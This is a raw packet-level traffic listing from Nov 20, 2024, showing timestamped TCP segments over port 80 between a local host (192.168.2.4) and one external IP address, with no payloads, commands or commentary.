Nov 20, 2024 12:57:53.539021969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539033890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539118052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539161921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539174080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539185047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539221048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539221048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539505959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539518118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539561987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539561987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539669037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539680958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539691925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539696932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539702892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539721012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539732933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539829969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539846897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.539851904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539889097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.539889097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540179968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540190935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540201902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540214062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540254116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540254116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540503979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540514946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540525913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540538073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540556908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540596008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540832996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540844917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540855885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540867090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540878057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540889025 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540898085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540898085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540935993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.540971994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540985107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.540994883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541024923 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.541047096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.541575909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541589022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541753054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541764975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541774988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541805983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.541872025 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.541903973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541915894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541927099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541938066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541949034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541960001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.541975021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.541975021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.542005062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.542537928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542548895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542558908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542568922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542579889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542589903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542615891 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.542615891 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.542664051 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.542839050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542851925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542861938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.542912006 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.542912006 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.543029070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543040991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543051004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543064117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543081999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.543147087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.543385029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543395996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543447971 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.543539047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543553114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543564081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543575048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543585062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543596983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.543625116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.543625116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.543723106 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.543967962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.544027090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.544069052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.544080019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.544122934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.544209003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.544220924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.544231892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.544241905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.544265985 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.544265985 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.544326067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585007906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585025072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585037947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585108042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585184097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585189104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585184097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585201025 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585215092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585227966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585231066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585247993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585448027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585463047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585467100 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585484028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585494995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585505962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585520983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585520983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585594893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.585815907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.585879087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.624819040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.624929905 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.624938965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.624953032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.624964952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.624985933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625008106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625014067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625021935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625035048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625044107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625061035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625102997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625102997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625269890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625319004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625484943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625497103 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625509024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625519991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625541925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625555992 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625751019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625762939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625773907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625785112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625796080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625814915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625814915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625844002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625900984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625912905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625925064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.625957012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.625957012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.626379013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626389980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626400948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626455069 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.626455069 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.626535892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626548052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626559019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626569986 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626580954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626596928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.626596928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.626862049 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.626950979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626962900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626972914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626982927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.626996994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627013922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627013922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627058983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627365112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627376080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627387047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627396107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627407074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627418995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627424955 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627440929 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627456903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627791882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627803087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627815962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.627859116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627859116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.627955914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628036976 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.628108978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628120899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628132105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628143072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628154039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628164053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628165960 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.628175974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.628187895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.628216982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.628216982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632653952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632671118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632680893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632692099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632702112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632711887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632720947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632720947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632723093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632734060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632759094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632775068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632775068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632793903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632812023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632812023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632829905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632841110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632846117 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632846117 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632854939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632865906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632875919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632875919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632880926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632893085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632904053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632905006 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632915974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632926941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632935047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632937908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632950068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632961035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.632968903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632992983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.632992983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.657908916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.657944918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.657995939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658030987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658050060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658050060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658060074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658118963 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658118963 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658343077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658374071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658397913 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658427000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658437014 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658462048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658483028 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658497095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658530951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658538103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658538103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658566952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658610106 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658610106 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658694983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658746958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658778906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658782005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658792973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658847094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658859015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658891916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.658921003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658955097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.658972979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659006119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659039021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659056902 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659056902 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659070969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659091949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659104109 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659149885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659149885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659251928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659286976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659307957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659351110 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659394026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659446001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659455061 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659482002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659514904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659521103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659521103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659548998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659569025 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659665108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659703016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659737110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659759998 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659770012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.659812927 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.659812927 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672559977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672591925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672626019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672641039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672641039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672662020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672672987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672698021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672739983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672739983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672799110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672832012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672873020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672873020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.672929049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.672965050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.673002005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.673002005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.673084974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.673135996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.673162937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.673171043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:53.673177004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:53.673207045 CET	80	49756	185.215.113.206	192.168.2.4
